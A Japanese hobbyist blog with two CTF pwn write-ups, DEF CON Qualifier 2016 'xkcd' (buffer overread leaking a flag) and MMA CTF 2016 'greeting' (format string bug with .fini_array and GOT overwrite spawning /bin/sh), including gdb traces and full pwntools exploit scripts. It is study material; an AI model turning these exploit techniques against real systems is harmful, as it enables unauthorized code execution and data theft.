読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

DEF CON CTF Qualifier 2016 xkcd

pwn list pwn list baby

どんな問題なのかというと「ひたすら文字列を比べて違ったらはじく」といった問題。GDBで読み進めていってもいいが、やはり全体を眺めるためにIDAなどのツールを使ったほうがいいかもしれない。
アセンブル写真貼り付けるのも面倒なので、重要な部分だけ抜粋し、C言語で表示します。(あってる保証はない。デバッグしまくって試したので)まず最初に一番気になるのは・・・

fp = fopen("./flag", "r");
fread(global+200h, 0x100, 1, fp);

global+200hにflagの内容を格納しているのである。てことはglobalをBoF(Buffer over Flow)させて終端文字をけせばいいんじゃね?方針が立つ。BoFさせるにも200h(512)byte先にあるということはわかったが、ここで厄介なことにある一定の文字列しか受け付けてないようだ。・・・・・・rev(リバーシング)頑張ろう問題です。
まず重要になるのが・・・

 result = strtok(UserInput, "?");
 result = strcmp(result, "SERVER, ARE YOU STILL THERE");

こ↑こ↓でUserが入力した値に?が入っているか調べた後に?を抜かした値と比べてる。ここではSERVER, ARE YOU STILL THERE?が入っていないとこの段階ではじく。
次に重要になるのが・・・

 UserInput1 = strtok(UserInput, "\"");
 strcmp(UserInput1, " IF SO, REPLY ");
 UserInput2 = strtok(UserInput, "\"");
 strlen(UserInput2)
 memcpy(global, UserInput2, sizeof(UserInput2));

“"はどの位置に来るのかよくわからなったのでデバッグしながら確かめてみたら、どうやら IF SO, REPLY の後ろに両方来るような形になっていた。ここで二つ目のstrtokをした後に”“の間に囲まれている値が保存されているような動きがみられた。
memcpyはglobalに”“の間に囲まれている文字列をコピーしてる(いわゆる今回の脆弱性)。一応デバッグして確かめている様子を張り付けておくよん。

gdb-peda$ 

 [----------------------------------registers-----------------------------------]
RAX: 0x60327b --> 0x4141414141414141 ('AAAAAAAA')
RBX: 0x0 
RCX: 0x60327e (" (%s LETTERS)\n")
RDX: 0x60327e (" (%s LETTERS)\n")
RSI: 0x400cc6 --> 0x4f53204649200022 ('"')
RDI: 0x7fffffffde88 --> 0x400aae (<main+353>:   cdqe)
RBP: 0x7fffffffded0 --> 0x0 
RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
RIP: 0x400ab4 (<main+359>:  mov    rax,QWORD PTR [rbp-0x18])
R8 : 0x0 
R9 : 0x8 
R10: 0xfffffffffffff278 
R11: 0x7ffff7b54e00 (mov    ecx,esi)
R12: 0x400860 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400aa9 <main+348>:  call   0x400820 <strtok@plt>
   0x400aae <main+353>:  cdqe   
   0x400ab0 <main+355>:  mov    QWORD PTR [rbp-0x18],rax
=> 0x400ab4 <main+359>:  mov    rax,QWORD PTR [rbp-0x18]
   0x400ab8 <main+363>:  mov    rdi,rax
   0x400abb <main+366>:  call   0x4007a0 <strlen@plt>
   0x400ac0 <main+371>:  mov    rdx,rax
   0x400ac3 <main+374>:  mov    rax,QWORD PTR [rbp-0x18]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
0008| 0x7fffffffde98 --> 0x100400c3d 
0016| 0x7fffffffdea0 --> 0x3cffffded0 
0024| 0x7fffffffdea8 --> 0x0 
0032| 0x7fffffffdeb0 --> 0x603250 ("SERVER, ARE YOU STILL THERE")
0040| 0x7fffffffdeb8 --> 0x60327b --> 0x4141414141414141 ('AAAAAAAA')
0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x1 
0056| 0x7fffffffdec8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400ab4 in main ()
gdb-peda$ 

しっかり入ってんじゃん!こ↑こ↓"“の間に512byteぶん文字を入れて終端文字を消せばいいんやな!ってことに気づく。上のように値を入れたと考えてここまでの文字をつなぎ合わせるとSERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAAAAAA"となる。
次に重要になるのは・・・

global1 = strtok(global, "(");
global2 = strtok(global1, ")");
sscanf(global2, "%d LETTERS", );

scanfは今回の場合はglobal2に入っているLETTERSの前の数値を%dに入れるような処理をしている。()の間に%d LETTERSがはいるのでは?と予想を立てる。つまり、SERVER, ARE YOU STILL THERE? IF SO, REPLY “AAAAAAAA” (%d LETTERS)
となる。本当にそうなるのか確かめてみるか

 [----------------------------------registers-----------------------------------]
RAX: 0x603282 ("4 LETTERS")
RBX: 0x0 
RCX: 0x60328c --> 0xa ('\n')
RDX: 0x60328c --> 0xa ('\n')
RSI: 0x400cd9 --> 0x54454c2064250029 (')')
RDI: 0x7fffffffde88 --> 0x400b02 (<main+437>:   cdqe)
RBP: 0x7fffffffded0 --> 0x0 
RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
RIP: 0x400b02 (<main+437>:  cdqe)
R8 : 0x0 
R9 : 0x8 
R10: 0x7fffffffdc50 --> 0x0 
R11: 0x7ffff7aacec0 (mov    rax,rsi)
R12: 0x400860 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400af3 <main+422>:  mov    edi,0x0
   0x400af8 <main+427>:  mov    eax,0x0
   0x400afd <main+432>:  call   0x400820 <strtok@plt>
=> 0x400b02 <main+437>:  cdqe   
   0x400b04 <main+439>:  mov    QWORD PTR [rbp-0x18],rax
   0x400b08 <main+443>:  lea    rdx,[rbp-0x30]
   0x400b0c <main+447>:  mov    rax,QWORD PTR [rbp-0x18]
   0x400b10 <main+451>:  mov    esi,0x400cdb
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
0008| 0x7fffffffde98 --> 0x100400c3d 
0016| 0x7fffffffdea0 --> 0x3dffffded0 
0024| 0x7fffffffdea8 --> 0x0 
0032| 0x7fffffffdeb0 --> 0x603250 ("SERVER, ARE YOU STILL THERE")
0040| 0x7fffffffdeb8 --> 0x603280 --> 0x5454454c20340020 (' ')
0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x1 
0056| 0x7fffffffdec8 --> 0x0 
[------------------------------------------------------------------------------]

なりますねぇ!()はどうやら%d LETTERSが間に入ってるようで間違いないみたい!後の処理はデバッグしてみる限り、どうやら、%dの値分出力するようなstrlenがあるだけだった。つまり、flagを出力するには512+Xbyteぶん出力すればいい。ちまちま出していく限り、どうやら全部で35文字分であることが分かった。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./a.out')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./a.out')
        print "[+] connect to local\n"

payload = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%s LETTERS)\n' % ('A' * 512, 512 + 35)
print payload
conn.write(payload)
data = conn.recv(2048)
print data

コード自体は少ないです。今回はどっちかというとrevを問われるような問題だったような気がする。
総評 IDAを買おう!

Tokyo Westerns/MMA CTF 2nd 2016 greeting

pwn list pwn list baby

bataさんlistいわゆる、pwnのlistの良問集というやつだけど、一番最初に書いてあるもので「babyなのかこれ(困惑)」といった思いをさせてくれた問題。 実行させるとこんな感じ。

shima@chino:~/workspace/pwn_list_baby/greeting$ ./greeting 
Hello, I'm nao!
Please tell me your name... %08x        
Nice to meet you, 080487d0 :)
shima@chino:~/workspace/pwn_list_baby/greeting$

FSB(Format String Bug)ありますねぇ!FSBよくわかんないという人はももテクのリンク張っておきますのでどうぞ。(いつかFSBの記事書きたい)

inaz2.hatenablog.com

とりあえずchecksecやindexが何個目なのかも確認を含めてデバッグをしようと思ってgdbを起動!

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

gdb-peda$ start
[New process 14879]
process 14879 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Hello, I'm nao!
Please tell me your name... [Inferior 2 (process 14879) exited normally]
Warning: not running or target is remote

NXbitがあるため、stackでのshellcodeは不可、SSPがあるためstack buffer overflowでreturnアドレスを書き換えることも不可、しかし、PIEやRELROがない状態であるために、使ってるライブラリ関数、セクションの使用、GOT overwriteはできそう。 ここまでの専門用語?がわかんない人はリンク張っておきますのでそこにどうぞ。pwn全体を詳しく体系的にまとめてあります(いつか記事にしたい)

raintrees.net

ここまでは良しとしよう。しかし、うまくデバッグができない・・・なにこれ(困惑)とりあえず逆アセンブルしてみてみよう。すると・・・

08048742 <nao>:
 8048742:  55                     push   ebp
 8048743:  89 e5                 mov    ebp,esp
 8048745:  83 ec 18              sub    esp,0x18
 8048748:  a1 80 9a 04 08         mov    eax,ds:0x8049a80
 804874d:  c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048754:  00 
 8048755:  89 04 24                 mov    DWORD PTR [esp],eax
 8048758:  e8 e3 fc ff ff        call   8048440 <setbuf@plt>
 804875d:  a1 a0 9a 04 08         mov    eax,ds:0x8049aa0
 8048762:  c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048769:  00 
 804876a:  89 04 24                 mov    DWORD PTR [esp],eax
 804876d:  e8 ce fc ff ff         call   8048440 <setbuf@plt>
 8048772:  c7 04 24 9c 87 04 08     mov    DWORD PTR [esp],0x804879c
 8048779:  e8 12 fd ff ff        call   8048490 <system@plt>
 804877e:  c9                     leave  
 804877f:  c3                     ret    

nao関数の中にあるsystem関数があったせいでうまくデバッグできなかった模様。そこで必要になるのがset follow-fork-mode parentという命令。これは「親プロセスのほうをデバッグしますよ」という命令これをgdbを起動して打ち込むと・・・

gdb-peda$ set follow-fork-mode parent
gdb-peda$ r
Starting program: /home/shima/workspace/pwn_list_baby/greeting/greeting 
Hello, I'm nao!
Please tell me your name... 

こんな感じに動くようになるよ!さらに今回はsystem関数が使われているため、libc特定とか面倒なことはしなくてよい。あとは引数に/bin/shを指定するだけ。
今回はFSBなのでprintfで表示させるbufferがどの位置にあるのか調べてみる。(AAAAの4文字を入力して実行!)

gdb-peda$ x/100wx $esp
0xffffd000:    0xffffd01c 0x080487d0 0xffffd05c 0x00000000
0xffffd010:    0x00000000 0x00000000 0x00000000 0x6563694e
0xffffd020:    0x206f7420 0x7465656d 0x756f7920 0x4141202c
0xffffd030:    0x3a204141

buffer自体は0xffffd01cのアドレスから始まっている。最初に入っている数字の羅列は何だろう?・・・実はsprinfで(“Nice to meet you, %s :)\n”) とじぶんが入力した文字をくっつけて0xffffd01cに格納している。そのため、最初の数字の羅列はスペースも含めてNice to meet you, の18文字が入っている。0xffffd02eのアドレスから自分が入力した文字AAAAの半分のAAが入ってる(0x4141202cのところ)intelおじさんで動いているため、little-endianであるためstackには後ろから入るというのがわかっている。
 ここで注意しなければならないことがある。今回のELFは32bitであるため、stackは4byte区切りになっている。たとえば、アドレスを格納してある場所に格納してあるライブラリ関数を呼び出すとき、今回のように18byte分であるため、2byte分うまっていない状態であるとき、2byteのずれが生じて、うまく格納先を指し示すことができない。
 そこで今回は適当に2byte好きな文字(padding)を入れてからpayload(攻撃コード)を入れるようにしたいため、今回のindexは12とする。
 さて、indexとsystem関数の特定もできたのであとはGOT overwriteさせて終わり!っていう感じだが・・・

gdb-peda$ x/10i $eip
=> 0x804864f <main+98>:  call   0x8048450 <printf@plt>
   0x8048654 <main+103>: jmp    0x8048662 <main+117>
   0x8048656 <main+105>: mov    DWORD PTR [esp],0x80487e9
   0x804865d <main+112>: call   0x8048480 <puts@plt>
   0x8048662 <main+117>: mov    edx,DWORD PTR [esp+0x9c]
   0x8048669 <main+124>: xor    edx,DWORD PTR gs:0x14
   0x8048670 <main+131>: je     0x8048677 <main+138>
   0x8048672 <main+133>: call   0x8048470 <__stack_chk_fail@plt>
   0x8048677 <main+138>: leave  
   0x8048678 <main+139>: ret 

 上書きするライブラリ関数がないやん!printf実行後のjmp先がもうライブラリ関数がない(正確にはstack_chk_fail@pltがあるけど・・・)stack_chk_fail@pltを書き換えてbufferを溢れさせてSSPつぶして飛ぶように設定すればいいのかな?と思って色々試行錯誤したけどうまくいかなかった。しょうがないのでwrite up見ました。
 結論から言うと「.fini_arrayってやつがexitする前に呼ばれるからこいつをmain関数に書き換えてもう一回main関数呼ぼうぜ!」になりますが、正直「知らんかったわ・・・そんなやつあるんや・・・」って感じでしたね。
 それで、mainに戻した後どこをGOT overwriteさせるんだ?ということですが、strchrをsystemに書き換えます。strchrは自分が入力した値を引数に取るのでこ↑こ↓の入力値を/bin/shにしてあげればsystem(/bin/sh)の形にすることができます。とりあえずコードをべちゃー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

#[+] fini_addr = 08049934
#[+] main_addr = 080485ed
#[+] strchr_addr = 08049a50
#[+] system_addr = 08048490

elf = ELF('./greeting')

system_addr = elf.plt['system']
strchr_addr = elf.got['strchr']
fini_addr = elf.get_section_by_name('.fini_array').header['sh_addr']
main_addr = 0x80485ed

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"

else:
        conn = process('./greeting')
        print "[+] connect to local\n"

index = 12
print "[+] fini_addr = %08x" % fini_addr
print "[+] main_addr = %08x" % main_addr
print "[+] strchr_addr = %08x" % strchr_addr
print "[+] system_addr = %08x" % system_addr

payload = ''
payload += "AA"
payload += p32(strchr_addr)
payload += p32(strchr_addr+2)
payload += p32(fini_addr)

fsb_system1 = (u16(p32(system_addr)[0:2]) - len("Nice to meet you, " + payload) - 1) % 0x10000 + 1
fsb_system2 = (u16(p32(system_addr)[2:4]) - u16(p32(system_addr)[0:2]) - 1) % 0x10000 + 1
fsb_main1 = (u16(p32(main_addr)[0:2]) - u16(p32(system_addr)[2:4]) - 1) % 0x10000 + 1

payload += "%%%dc%%%d$hn" % (fsb_system1, index)
payload += "%%%dc%%%d$hn" % (fsb_system2, index+1)
payload += "%%%dc%%%d$hn" % (fsb_main1, index+2)
payload += '\n'

conn.recvuntil('Please tell me your name... ')
conn.send(payload)
conn.send('/bin/sh\n')
conn.interactive()

 汚いソースコードだ(確信)肝心のFSBですが、今回はbufferのsizeがあまりないので、2byteずつ書き換えるように設定してます。アドレスから考えてsystem関数の下位2byteを書き換えるだけでいいはずなんですが、上手く動かなかったので(実力不足)全部strchrのアドレスを書き換えるように設定してます。
 後ろに変な-1がついていますが、これは引き算した結果が0になった時の対処法です。つじつま合わせのために割って余りを出した後で最後に1を足してます。 やり終えた総評「babyじゃないやん」